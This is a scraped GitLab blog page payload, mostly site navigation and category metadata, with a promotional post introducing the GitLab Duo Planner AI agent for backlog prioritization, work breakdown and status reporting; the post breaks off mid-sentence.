[{"data":1,"prerenderedAt":1223},["ShallowReactive",2],{"/en-us/blog":3,"navigation-en-us":20,"banner-en-us":420,"footer-en-us":430,"blogCategories-en-us":672,"relatedBlogPosts-en-us":793,"mainFeaturedPost-en-us":1180,"recentFeaturedPosts-en-us":1185,"recentPosts-en-us":1201},{"id":4,"title":5,"body":6,"category":6,"config":7,"content":9,"description":6,"extension":11,"meta":12,"navigation":13,"path":14,"seo":15,"slug":6,"stem":18,"testContent":6,"type":6,"__hash__":19},"pages/en-us/blog/index.yml","",null,{"template":8},"BlogHome",{"title":10},"GitLab Blog","yml",{},true,"/en-us/blog",{"title":16,"description":17},"Blog | GitLab","Tutorials, product information, expert insights, and more from GitLab to help DevSecOps teams build, test, and deploy secure software faster.","en-us/blog/index","uG0QGFGbRgp8AvAwGLhaM8YlKMxyuUKZ2haDexExj9g",{"data":21},{"logo":22,"freeTrial":27,"sales":32,"login":37,"items":42,"search":350,"minimal":381,"duo":400,"pricingDeployment":410},{"config":23},{"href":24,"dataGaName":25,"dataGaLocation":26},"/","gitlab logo","header",{"text":28,"config":29},"Get free trial",{"href":30,"dataGaName":31,"dataGaLocation":26},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com&glm_content=default-saas-trial/","free trial",{"text":33,"config":34},"Talk to sales",{"href":35,"dataGaName":36,"dataGaLocation":26},"/sales/","sales",{"text":38,"config":39},"Sign in",{"href":40,"dataGaName":41,"dataGaLocation":26},"https://gitlab.com/users/sign_in/","sign in",[43,70,165,170,271,331],{"text":44,"config":45,"cards":47},"Platform",{"dataNavLevelOne":46},"platform",[48,54,62],{"title":44,"description":49,"link":50},"The intelligent orchestration platform for DevSecOps",{"text":51,"config":52},"Explore our Platform",{"href":53,"dataGaName":46,"dataGaLocation":26},"/platform/",{"title":55,"description":56,"link":57},"GitLab Duo Agent Platform","Agentic AI for the entire software lifecycle",{"text":58,"config":59},"Meet GitLab Duo",{"href":60,"dataGaName":61,"dataGaLocation":26},"/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":63,"description":64,"link":65},"Why GitLab","See the top reasons enterprises choose GitLab",{"text":66,"config":67},"Learn more",{"href":68,"dataGaName":69,"dataGaLocation":26},"/why-gitlab/","why gitlab",{"text":71,"left":13,"config":72,"link":74,"lists":78,"footer":147},"Product",{"dataNavLevelOne":73},"solutions",{"text":75,"config":76},"View all Solutions",{"href":77,"dataGaName":73,"dataGaLocation":26},"/solutions/",[79,103,126],{"title":80,"description":81,"link":82,"items":87},"Automation","CI/CD and automation to accelerate deployment",{"config":83},{"icon":84,"href":85,"dataGaName":86,"dataGaLocation":26},"AutomatedCodeAlt","/solutions/delivery-automation/","automated software delivery",[88,92,95,99],{"text":89,"config":90},"CI/CD",{"href":91,"dataGaLocation":26,"dataGaName":89},"/solutions/continuous-integration/",{"text":55,"config":93},{"href":60,"dataGaLocation":26,"dataGaName":94},"gitlab duo agent platform - product menu",{"text":96,"config":97},"Source Code Management",{"href":98,"dataGaLocation":26,"dataGaName":96},"/solutions/source-code-management/",{"text":100,"config":101},"Automated Software Delivery",{"href":85,"dataGaLocation":26,"dataGaName":102},"Automated software delivery",{"title":104,"description":105,"link":106,"items":111},"Security","Deliver code faster without compromising security",{"config":107},{"href":108,"dataGaName":109,"dataGaLocation":26,"icon":110},"/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[112,116,121],{"text":113,"config":114},"Application Security Testing",{"href":108,"dataGaName":115,"dataGaLocation":26},"Application security testing",{"text":117,"config":118},"Software Supply Chain Security",{"href":119,"dataGaLocation":26,"dataGaName":120},"/solutions/supply-chain/","Software supply chain security",{"text":122,"config":123},"Software Compliance",{"href":124,"dataGaName":125,"dataGaLocation":26},"/solutions/software-compliance/","software compliance",{"title":127,"link":128,"items":133},"Measurement",{"config":129},{"icon":130,"href":131,"dataGaName":132,"dataGaLocation":26},"DigitalTransformation","/solutions/visibility-measurement/","visibility and measurement",[134,138,142],{"text":135,"config":136},"Visibility & Measurement",{"href":131,"dataGaLocation":26,"dataGaName":137},"Visibility and Measurement",{"text":139,"config":140},"Value Stream Management",{"href":141,"dataGaLocation":26,"dataGaName":139},"/solutions/value-stream-management/",{"text":143,"config":144},"Analytics & Insights",{"href":145,"dataGaLocation":26,"dataGaName":146},"/solutions/analytics-and-insights/","Analytics and insights",{"title":148,"items":149},"GitLab for",[150,155,160],{"text":151,"config":152},"Enterprise",{"href":153,"dataGaLocation":26,"dataGaName":154},"/enterprise/","enterprise",{"text":156,"config":157},"Small Business",{"href":158,"dataGaLocation":26,"dataGaName":159},"/small-business/","small business",{"text":161,"config":162},"Public Sector",{"href":163,"dataGaLocation":26,"dataGaName":164},"/solutions/public-sector/","public sector",{"text":166,"config":167},"Pricing",{"href":168,"dataGaName":169,"dataGaLocation":26,"dataNavLevelOne":169},"/pricing/","pricing",{"text":171,"config":172,"link":174,"lists":178,"feature":258},"Resources",{"dataNavLevelOne":173},"resources",{"text":175,"config":176},"View all resources",{"href":177,"dataGaName":173,"dataGaLocation":26},"/resources/",[179,212,230],{"title":180,"items":181},"Getting started",[182,187,192,197,202,207],{"text":183,"config":184},"Install",{"href":185,"dataGaName":186,"dataGaLocation":26},"/install/","install",{"text":188,"config":189},"Quick start guides",{"href":190,"dataGaName":191,"dataGaLocation":26},"/get-started/","quick setup checklists",{"text":193,"config":194},"Learn",{"href":195,"dataGaLocation":26,"dataGaName":196},"https://university.gitlab.com/","learn",{"text":198,"config":199},"Product documentation",{"href":200,"dataGaName":201,"dataGaLocation":26},"https://docs.gitlab.com/","product documentation",{"text":203,"config":204},"Best practice videos",{"href":205,"dataGaName":206,"dataGaLocation":26},"/getting-started-videos/","best practice videos",{"text":208,"config":209},"Integrations",{"href":210,"dataGaName":211,"dataGaLocation":26},"/integrations/","integrations",{"title":213,"items":214},"Discover",[215,220,225],{"text":216,"config":217},"Customer success stories",{"href":218,"dataGaName":219,"dataGaLocation":26},"/customers/","customer success stories",{"text":221,"config":222},"Blog",{"href":223,"dataGaName":224,"dataGaLocation":26},"/blog/","blog",{"text":226,"config":227},"Remote",{"href":228,"dataGaName":229,"dataGaLocation":26},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":231,"items":232},"Connect",[233,238,243,248,253],{"text":234,"config":235},"GitLab Services",{"href":236,"dataGaName":237,"dataGaLocation":26},"/services/","services",{"text":239,"config":240},"Community",{"href":241,"dataGaName":242,"dataGaLocation":26},"/community/","community",{"text":244,"config":245},"Forum",{"href":246,"dataGaName":247,"dataGaLocation":26},"https://forum.gitlab.com/","forum",{"text":249,"config":250},"Events",{"href":251,"dataGaName":252,"dataGaLocation":26},"/events/","events",{"text":254,"config":255},"Partners",{"href":256,"dataGaName":257,"dataGaLocation":26},"/partners/","partners",{"backgroundColor":259,"textColor":260,"text":261,"image":262,"link":266},"#2f2a6b","#fff","Insights for the future of software development",{"altText":263,"config":264},"the source promo card",{"src":265},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758208064/dzl0dbift9xdizyelkk4.svg",{"text":267,"config":268},"Read the latest",{"href":269,"dataGaName":270,"dataGaLocation":26},"/the-source/","the source",{"text":272,"config":273,"lists":275},"Company",{"dataNavLevelOne":274},"company",[276],{"items":277},[278,283,289,291,296,301,306,311,316,321,326],{"text":279,"config":280},"About",{"href":281,"dataGaName":282,"dataGaLocation":26},"/company/","about",{"text":284,"config":285,"footerGa":288},"Jobs",{"href":286,"dataGaName":287,"dataGaLocation":26},"/jobs/","jobs",{"dataGaName":287},{"text":249,"config":290},{"href":251,"dataGaName":252,"dataGaLocation":26},{"text":292,"config":293},"Leadership",{"href":294,"dataGaName":295,"dataGaLocation":26},"/company/team/e-group/","leadership",{"text":297,"config":298},"Team",{"href":299,"dataGaName":300,"dataGaLocation":26},"/company/team/","team",{"text":302,"config":303},"Handbook",{"href":304,"dataGaName":305,"dataGaLocation":26},"https://handbook.gitlab.com/","handbook",{"text":307,"config":308},"Investor relations",{"href":309,"dataGaName":310,"dataGaLocation":26},"https://ir.gitlab.com/","investor relations",{"text":312,"config":313},"Trust Center",{"href":314,"dataGaName":315,"dataGaLocation":26},"/security/","trust center",{"text":317,"config":318},"AI Transparency Center",{"href":319,"dataGaName":320,"dataGaLocation":26},"/ai-transparency-center/","ai transparency center",{"text":322,"config":323},"Newsletter",{"href":324,"dataGaName":325,"dataGaLocation":26},"/company/contact/#contact-forms","newsletter",{"text":327,"config":328},"Press",{"href":329,"dataGaName":330,"dataGaLocation":26},"/press/","press",{"text":332,"config":333,"lists":334},"Contact us",{"dataNavLevelOne":274},[335],{"items":336},[337,340,345],{"text":33,"config":338},{"href":35,"dataGaName":339,"dataGaLocation":26},"talk to sales",{"text":341,"config":342},"Support portal",{"href":343,"dataGaName":344,"dataGaLocation":26},"https://support.gitlab.com","support portal",{"text":346,"config":347},"Customer portal",{"href":348,"dataGaName":349,"dataGaLocation":26},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":351,"login":352,"suggestions":359},"Close",{"text":353,"link":354},"To search repositories and projects, login to",{"text":355,"config":356},"gitlab.com",{"href":40,"dataGaName":357,"dataGaLocation":358},"search login","search",{"text":360,"default":361},"Suggestions",[362,364,368,370,374,378],{"text":55,"config":363},{"href":60,"dataGaName":55,"dataGaLocation":358},{"text":365,"config":366},"Code Suggestions (AI)",{"href":367,"dataGaName":365,"dataGaLocation":358},"/solutions/code-suggestions/",{"text":89,"config":369},{"href":91,"dataGaName":89,"dataGaLocation":358},{"text":371,"config":372},"GitLab on AWS",{"href":373,"dataGaName":371,"dataGaLocation":358},"/partners/technology-partners/aws/",{"text":375,"config":376},"GitLab on Google Cloud",{"href":377,"dataGaName":375,"dataGaLocation":358},"/partners/technology-partners/google-cloud-platform/",{"text":379,"config":380},"Why GitLab?",{"href":68,"dataGaName":379,"dataGaLocation":358},{"freeTrial":382,"mobileIcon":387,"desktopIcon":392,"secondaryButton":395},{"text":383,"config":384},"Start free trial",{"href":385,"dataGaName":31,"dataGaLocation":386},"https://gitlab.com/-/trials/new/","nav",{"altText":388,"config":389},"Gitlab Icon",{"src":390,"dataGaName":391,"dataGaLocation":386},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":388,"config":393},{"src":394,"dataGaName":391,"dataGaLocation":386},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":396,"config":397},"Get Started",{"href":398,"dataGaName":399,"dataGaLocation":386},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/compare/gitlab-vs-github/","get started",{"freeTrial":401,"mobileIcon":406,"desktopIcon":408},{"text":402,"config":403},"Learn more about GitLab Duo",{"href":404,"dataGaName":405,"dataGaLocation":386},"/gitlab-duo/","gitlab duo",{"altText":388,"config":407},{"src":390,"dataGaName":391,"dataGaLocation":386},{"altText":388,"config":409},{"src":394,"dataGaName":391,"dataGaLocation":386},{"freeTrial":411,"mobileIcon":416,"desktopIcon":418},{"text":412,"config":413},"Back to pricing",{"href":168,"dataGaName":414,"dataGaLocation":386,"icon":415},"back to pricing","GoBack",{"altText":388,"config":417},{"src":390,"dataGaName":391,"dataGaLocation":386},{"altText":388,"config":419},{"src":394,"dataGaName":391,"dataGaLocation":386},{"title":421,"button":422,"config":427},"See how agentic AI transforms software delivery",{"text":423,"config":424},"Watch GitLab Transcend now",{"href":425,"dataGaName":426,"dataGaLocation":26},"/events/transcend/virtual/","transcend event",{"layout":428,"icon":429},"release","AiStar",{"data":431},{"text":432,"source":433,"edit":439,"contribute":444,"config":449,"items":454,"minimal":661},"Git is a trademark of Software Freedom Conservancy and our use of 'GitLab' is under license",{"text":434,"config":435},"View page source",{"href":436,"dataGaName":437,"dataGaLocation":438},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":440,"config":441},"Edit this page",{"href":442,"dataGaName":443,"dataGaLocation":438},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":445,"config":446},"Please contribute",{"href":447,"dataGaName":448,"dataGaLocation":438},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":450,"facebook":451,"youtube":452,"linkedin":453},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[455,502,556,600,627],{"title":166,"links":456,"subMenu":471},[457,461,466],{"text":458,"config":459},"View plans",{"href":168,"dataGaName":460,"dataGaLocation":438},"view plans",{"text":462,"config":463},"Why Premium?",{"href":464,"dataGaName":465,"dataGaLocation":438},"/pricing/premium/","why premium",{"text":467,"config":468},"Why Ultimate?",{"href":469,"dataGaName":470,"dataGaLocation":438},"/pricing/ultimate/","why ultimate",[472],{"title":473,"links":474},"Contact Us",[475,478,480,482,487,492,497],{"text":476,"config":477},"Contact sales",{"href":35,"dataGaName":36,"dataGaLocation":438},{"text":341,"config":479},{"href":343,"dataGaName":344,"dataGaLocation":438},{"text":346,"config":481},{"href":348,"dataGaName":349,"dataGaLocation":438},{"text":483,"config":484},"Status",{"href":485,"dataGaName":486,"dataGaLocation":438},"https://status.gitlab.com/","status",{"text":488,"config":489},"Terms of use",{"href":490,"dataGaName":491,"dataGaLocation":438},"/terms/","terms of use",{"text":493,"config":494},"Privacy statement",{"href":495,"dataGaName":496,"dataGaLocation":438},"/privacy/","privacy statement",{"text":498,"config":499},"Cookie preferences",{"dataGaName":500,"dataGaLocation":438,"id":501,"isOneTrustButton":13},"cookie preferences","ot-sdk-btn",{"title":71,"links":503,"subMenu":512},[504,508],{"text":505,"config":506},"DevSecOps platform",{"href":53,"dataGaName":507,"dataGaLocation":438},"devsecops platform",{"text":509,"config":510},"AI-Assisted Development",{"href":404,"dataGaName":511,"dataGaLocation":438},"ai-assisted development",[513],{"title":514,"links":515},"Topics",[516,521,526,531,536,541,546,551],{"text":517,"config":518},"CICD",{"href":519,"dataGaName":520,"dataGaLocation":438},"/topics/ci-cd/","cicd",{"text":522,"config":523},"GitOps",{"href":524,"dataGaName":525,"dataGaLocation":438},"/topics/gitops/","gitops",{"text":527,"config":528},"DevOps",{"href":529,"dataGaName":530,"dataGaLocation":438},"/topics/devops/","devops",{"text":532,"config":533},"Version Control",{"href":534,"dataGaName":535,"dataGaLocation":438},"/topics/version-control/","version control",{"text":537,"config":538},"DevSecOps",{"href":539,"dataGaName":540,"dataGaLocation":438},"/topics/devsecops/","devsecops",{"text":542,"config":543},"Cloud Native",{"href":544,"dataGaName":545,"dataGaLocation":438},"/topics/cloud-native/","cloud native",{"text":547,"config":548},"AI for Coding",{"href":549,"dataGaName":550,"dataGaLocation":438},"/topics/devops/ai-for-coding/","ai for coding",{"text":552,"config":553},"Agentic AI",{"href":554,"dataGaName":555,"dataGaLocation":438},"/topics/agentic-ai/","agentic ai",{"title":557,"links":558},"Solutions",[559,561,563,568,572,575,579,582,584,587,590,595],{"text":113,"config":560},{"href":108,"dataGaName":113,"dataGaLocation":438},{"text":102,"config":562},{"href":85,"dataGaName":86,"dataGaLocation":438},{"text":564,"config":565},"Agile development",{"href":566,"dataGaName":567,"dataGaLocation":438},"/solutions/agile-delivery/","agile delivery",{"text":569,"config":570},"SCM",{"href":98,"dataGaName":571,"dataGaLocation":438},"source code management",{"text":517,"config":573},{"href":91,"dataGaName":574,"dataGaLocation":438},"continuous integration & delivery",{"text":576,"config":577},"Value stream management",{"href":141,"dataGaName":578,"dataGaLocation":438},"value stream management",{"text":522,"config":580},{"href":581,"dataGaName":525,"dataGaLocation":438},"/solutions/gitops/",{"text":151,"config":583},{"href":153,"dataGaName":154,"dataGaLocation":438},{"text":585,"config":586},"Small business",{"href":158,"dataGaName":159,"dataGaLocation":438},{"text":588,"config":589},"Public sector",{"href":163,"dataGaName":164,"dataGaLocation":438},{"text":591,"config":592},"Education",{"href":593,"dataGaName":594,"dataGaLocation":438},"/solutions/education/","education",{"text":596,"config":597},"Financial services",{"href":598,"dataGaName":599,"dataGaLocation":438},"/solutions/finance/","financial services",{"title":171,"links":601},[602,604,606,608,611,613,615,617,619,621,623,625],{"text":183,"config":603},{"href":185,"dataGaName":186,"dataGaLocation":438},{"text":188,"config":605},{"href":190,"dataGaName":191,"dataGaLocation":438},{"text":193,"config":607},{"href":195,"dataGaName":196,"dataGaLocation":438},{"text":198,"config":609},{"href":200,"dataGaName":610,"dataGaLocation":438},"docs",{"text":221,"config":612},{"href":223,"dataGaName":224,"dataGaLocation":438},{"text":216,"config":614},{"href":218,"dataGaName":219,"dataGaLocation":438},{"text":226,"config":616},{"href":228,"dataGaName":229,"dataGaLocation":438},{"text":234,"config":618},{"href":236,"dataGaName":237,"dataGaLocation":438},{"text":239,"config":620},{"href":241,"dataGaName":242,"dataGaLocation":438},{"text":244,"config":622},{"href":246,"dataGaName":247,"dataGaLocation":438},{"text":249,"config":624},{"href":251,"dataGaName":252,"dataGaLocation":438},{"text":254,"config":626},{"href":256,"dataGaName":257,"dataGaLocation":438},{"title":272,"links":628},[629,631,633,635,637,639,641,645,650,652,654,656],{"text":279,"config":630},{"href":281,"dataGaName":274,"dataGaLocation":438},{"text":284,"config":632},{"href":286,"dataGaName":287,"dataGaLocation":438},{"text":292,"config":634},{"href":294,"dataGaName":295,"dataGaLocation":438},{"text":297,"config":636},{"href":299,"dataGaName":300,"dataGaLocation":438},{"text":302,"config":638},{"href":304,"dataGaName":305,"dataGaLocation":438},{"text":307,"config":640},{"href":309,"dataGaName":310,"dataGaLocation":438},{"text":642,"config":643},"Sustainability",{"href":644,"dataGaName":642,"dataGaLocation":438},"/sustainability/",{"text":646,"config":647},"Diversity, inclusion and belonging (DIB)",{"href":648,"dataGaName":649,"dataGaLocation":438},"/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":312,"config":651},{"href":314,"dataGaName":315,"dataGaLocation":438},{"text":322,"config":653},{"href":324,"dataGaName":325,"dataGaLocation":438},{"text":327,"config":655},{"href":329,"dataGaName":330,"dataGaLocation":438},{"text":657,"config":658},"Modern Slavery Transparency Statement",{"href":659,"dataGaName":660,"dataGaLocation":438},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"items":662},[663,666,669],{"text":664,"config":665},"Terms",{"href":490,"dataGaName":491,"dataGaLocation":438},{"text":667,"config":668},"Cookies",{"dataGaName":500,"dataGaLocation":438,"id":501,"isOneTrustButton":13},{"text":670,"config":671},"Privacy",{"href":495,"dataGaName":496,"dataGaLocation":438},[673,687,700,712,724,735,747,759,771,782],{"id":674,"title":675,"body":6,"category":6,"config":676,"content":680,"description":6,"extension":11,"meta":681,"navigation":13,"path":682,"seo":683,"slug":6,"stem":685,"testContent":6,"type":6,"__hash__":686},"blogCategories/en-us/blog/categories/agile-planning.yml","Agile Planning",{"template":677,"slug":678,"hide":679},"BlogCategory","agile-planning",false,{"name":675},{},"/en-us/blog/categories/agile-planning",{"title":675,"description":684},"Browse articles related to Agile Planning on the GitLab Blog","en-us/blog/categories/agile-planning","qAKNooo2KBxPVkTtNsNSqr_dlCLZaNa-P-NxQ09xvKk",{"id":688,"title":689,"body":6,"category":6,"config":690,"content":692,"description":6,"extension":11,"meta":694,"navigation":13,"path":695,"seo":696,"slug":6,"stem":698,"testContent":6,"type":6,"__hash__":699},"blogCategories/en-us/blog/categories/ai-ml.yml","Ai Ml",{"template":677,"slug":691,"hide":679},"ai-ml",{"name":693},"AI/ML",{},"/en-us/blog/categories/ai-ml",{"title":693,"description":697},"Browse articles related to AI/ML on the GitLab Blog","en-us/blog/categories/ai-ml","rEmbrx2EiZNCvAIStbsvNZ9AHldybfSqbXcgAnBzrUY",{"id":701,"title":702,"body":6,"category":6,"config":703,"content":705,"description":6,"extension":11,"meta":706,"navigation":13,"path":707,"seo":708,"slug":6,"stem":710,"testContent":6,"type":6,"__hash__":711},"blogCategories/en-us/blog/categories/bulletin-board.yml","Bulletin Board",{"template":677,"slug":704,"hide":679},"bulletin-board",{"name":702},{},"/en-us/blog/categories/bulletin-board",{"title":702,"description":709},"Browse articles related to Bulletin Board on the GitLab Blog","en-us/blog/categories/bulletin-board","rokHx9i0d8KJYqVFg8OMZo9FpfzYM2j4RucXtyu1S2o",{"id":713,"title":714,"body":6,"category":6,"config":715,"content":717,"description":6,"extension":11,"meta":718,"navigation":13,"path":719,"seo":720,"slug":6,"stem":722,"testContent":6,"type":6,"__hash__":723},"blogCategories/en-us/blog/categories/customer-stories.yml","Customer Stories",{"template":677,"slug":716,"hide":679},"customer-stories",{"name":714},{},"/en-us/blog/categories/customer-stories",{"title":714,"description":721},"Browse articles related to Customer Stories on the GitLab Blog","en-us/blog/categories/customer-stories","_eXBAvnnvbeX9jN4LsnVoa4W7XrZHvta_MtHKbr-5rM",{"id":725,"title":726,"body":6,"category":6,"config":727,"content":728,"description":6,"extension":11,"meta":729,"navigation":13,"path":730,"seo":731,"slug":6,"stem":733,"testContent":6,"type":6,"__hash__":734},"blogCategories/en-us/blog/categories/devsecops.yml","Devsecops",{"template":677,"slug":540,"hide":679},{"name":537},{},"/en-us/blog/categories/devsecops",{"title":537,"description":732},"Browse articles related to DevSecOps on the GitLab Blog","en-us/blog/categories/devsecops","CMEA5RSEzkIxqsAQ42q3nyQxbB-scYg0tjsE5w5w19w",{"id":736,"title":737,"body":6,"category":6,"config":738,"content":740,"description":6,"extension":11,"meta":741,"navigation":13,"path":742,"seo":743,"slug":6,"stem":745,"testContent":6,"type":6,"__hash__":746},"blogCategories/en-us/blog/categories/engineering.yml","Engineering",{"template":677,"slug":739,"hide":679},"engineering",{"name":737},{},"/en-us/blog/categories/engineering",{"title":737,"description":744},"Browse articles related to Engineering on the GitLab Blog","en-us/blog/categories/engineering","8bG3OWoOqnd0RUuGte8_Pd1CHzJY7KSrgk1_B9fzJ8M",{"id":748,"title":749,"body":6,"category":6,"config":750,"content":752,"description":6,"extension":11,"meta":753,"navigation":13,"path":754,"seo":755,"slug":6,"stem":757,"testContent":6,"type":6,"__hash__":758},"blogCategories/en-us/blog/categories/news.yml","News",{"template":677,"slug":751,"hide":679},"news",{"name":749},{},"/en-us/blog/categories/news",{"title":749,"description":756},"Browse articles related to News on the GitLab Blog","en-us/blog/categories/news","IVE63x0_f5y63VT7pAx2RH9p3q2v83g_lRBgr0p4QNo",{"id":760,"title":761,"body":6,"category":6,"config":762,"content":764,"description":6,"extension":11,"meta":765,"navigation":13,"path":766,"seo":767,"slug":6,"stem":769,"testContent":6,"type":6,"__hash__":770},"blogCategories/en-us/blog/categories/open-source.yml","Open Source",{"template":677,"slug":763,"hide":679},"open-source",{"name":761},{},"/en-us/blog/categories/open-source",{"title":761,"description":768},"Browse articles related to Open Source on the GitLab Blog","en-us/blog/categories/open-source","NMRZaCM4ca10TUDhzj6jsX7u5M9zSlzzVFGKbuj2Nz0",{"id":772,"title":71,"body":6,"category":6,"config":773,"content":775,"description":6,"extension":11,"meta":776,"navigation":13,"path":777,"seo":778,"slug":6,"stem":780,"testContent":6,"type":6,"__hash__":781},"blogCategories/en-us/blog/categories/product.yml",{"template":677,"slug":774,"hide":679},"product",{"name":71},{},"/en-us/blog/categories/product",{"title":71,"description":779},"Browse articles related to Product on the GitLab Blog","en-us/blog/categories/product","JCTE8LgoP8oKfWUAM0467yFaiUZ-vxUCM7p6ejl4WTM",{"id":783,"title":104,"body":6,"category":6,"config":784,"content":786,"description":6,"extension":11,"meta":787,"navigation":13,"path":788,"seo":789,"slug":6,"stem":791,"testContent":6,"type":6,"__hash__":792},"blogCategories/en-us/blog/categories/security.yml",{"template":677,"slug":785,"hide":679},"security",{"name":104},{},"/en-us/blog/categories/security",{"title":104,"description":790},"Browse articles related to Security on the GitLab Blog","en-us/blog/categories/security","Hx58KagneyLDkWgUOsPQNGCsWqekf9YGQa6EJFfGFRw",[794,839,879,917,958,996,1035,1074,1112,1144],{"category":675,"slug":678,"posts":795},[796,812,827],{"content":797,"config":809},{"title":798,"description":799,"heroImage":800,"date":801,"body":802,"category":678,"tags":803,"authors":806},"Ace your planning without the context-switching","Learn how GitLab Duo Planner Agent simplifies tasks and saves time by helping product and engineering managers focus on the work that matters most.\n\n","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098354/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%281%29_5XrohmuWBNuqL89BxVUzWm_1750098354056.png","2025-10-28","Software development teams face a challenging balancing act: dozens of tasks, limited time, and constant pressure to pick the right thing to work on next. \n\nThe planning overhead of structuring requirements, managing backlogs, tracking delivery, and writing status updates steals hours from strategic thinking. \n\nThe result? Less time for the high-value decisions that actually drive products forward.\n\nThat’s why we developed [GitLab Duo Planner](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/planner/), an AI agent built on [GitLab Duo Agent Platform](https://about.gitlab.com/gitlab-duo-agent-platform/) to support product managers directly within GitLab.\n\nGitLab Duo Planner isn't another generic AI assistant. GitLab's product and engineering teams, who live these challenges daily like many of our customers, purpose-built GitLab Duo Planner to orchestrate planning workflows and reduce overhead while improving alignment and predictability.\n\n## Your new planning teammate\n\nToday’s planning workflows face three major problems:\n\n1. Prone to drift -  Unplanned and orphaned work reduce trust in the plan.  \n2. Disruptive to developers - Constant interruptions for status updates break flow.  \n3. Opaque - Hidden risks surface too late to course-correct.\n\nTransforming the way teams work, GitLab Duo Planner turns manual overhead like vague ideas into structured requirements in minutes. Surface hidden backlog problems before they derail sprints. Apply RICE and MoSCoW frameworks instantly to make confident prioritization decisions. With awareness of GitLab context across the platform, every interaction with GitLab Duo Planner saves time and improves decision quality. This is possible because of the foundational agent architecture, bringing deep domain expertise and context awareness specific to GitLab.\n\n## Built for teams\n\nGitLab Duo Planner leverages work items (epics, issues, tasks) and understands the nuances of work breakdown structures, dependency analysis, and effort estimation, making it well positioned to improve visibility, alignment, and confidence in delivery.\n\n* Platform approach - Unlike point solutions, Duo Planner orchestrates across your entire GitLab platform, from planning through development and testing, driving visibility across teams and workflows. \n\n* Embedded in the flow - No more context-switching between tools or diving deep into GitLab to retrieve information. Duo Planner enables contributions, collaboration, and transparency from users across the software development lifecycle. \n\n* Saves time and effort - Use Duo Planner to free your teams from repetitive coordination work, improving delivery predictability, reducing missed commitments while bringing in focus on what actually moves the needle.\n\n## From chaos to clarity\n\nGitLab Duo Planner can help at different stages of software planning and delivery while operating within the planning scope, providing a safe, bounded environment with project visibility.\n\nThe agent can help with six flows:\n\n* Prioritization - Apply frameworks like RICE, MoSCoW, or WSJF to rank work items intelligently\n\n* Work breakdown - Decompose initiatives into epics, features, and user stories to structure requirements\n\n* Dependency analysis - Identify blocked work and understand relationships between items to maintain velocity\n\n* Planning -  Organize sprints, milestones, or quarterly planning \n\n* Status reporting -  Generate summaries of project progress, risks, and blockers to track delivery\n\n* Backlog management -  Identify stale issues, duplicates, or items needing refinement to improve data hygiene\n\n\nHere is an example how GitLab Duo Planner can check the status of an initiative:\n\n\u003Cdiv>\u003Ciframe src=\"https://player.vimeo.com/video/1131065078?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab Duo Planner Agent\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n\u003Cp>\u003C/p>\n\nDuo Planner is available as a custom agent in the Duo Chat side panel, with the current page context.\n\n\u003Cp>\u003C/p>\n\n![Duo Planner as a custom agent in the Duo Chat side panel](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323689/ener1mkyj9shg6zvtp4f.png)\n\n\u003Cp>\u003C/p>\n\nLet’s ask Duo Planner about the status of an initiative by providing the epic link:\n\n![Asking Duo Planner about the status of an initiative by providing the epic link](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323689/gzv2xudegtjhtesz1oaz.png)\n\n\u003Cp>\u003C/p>\n\nWe receive a structured summary with an overview, current status of milestones, in-progress items, dependencies, and blockers, along with actionable recommendations.\n\n![Structured summary](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323690/guoyqe1b9bstmbjzunez.png)\n\n\u003Cp>\u003C/p>\n\nNext, let’s ask for an executive summary to share with stakeholders:\nGitLab Duo Planner eliminates hours of manual analysis and reporting effort, helping to make decisions faster and keep all stakeholders updated.\n\n![Ask for executive summary](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323689/xs9zxawqrytfu54ejx2b.png)\n\n\n\u003Cp>\u003C/p>\n\n![Output of executive summary](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323690/bsbpvjaqnymobzg4knhu.png)\n\n\u003Cp>\u003C/p>\n\nHere are a few more prompts you can try with GitLab Duo Planner:\n\n* “Which of the bugs with a “boards” label should we fix first, considering user impact?”  \n* “Rank these epics by strategic value for Q1.”  \n* “Help me prioritize technical debt against new features.”  \n* “What tasks are needed to implement this user story?”  \n* “Suggest a phased approach for this project: (insert URL).”\n\n## What's next\n\nGitLab Duo Planner focuses intentionally on product managers and engineering managers working in Agile environments. Why? Because specificity drives performance. By training Duo Planner deeply on GitLab's planning workflows and Agile frameworks, we deliver reliable, actionable insights rather than generic suggestions.\n\nAs we evolve the platform, we envision a family of specialized agents, each optimized for specific workflows while contributing to a unified intelligence layer. Today's planner for software teams is just the beginning of how AI will transform work prioritization across all teams.\n\n> If you’re an existing GitLab customer and would like to try GitLab Duo Planner with a prompt of your own, visit our 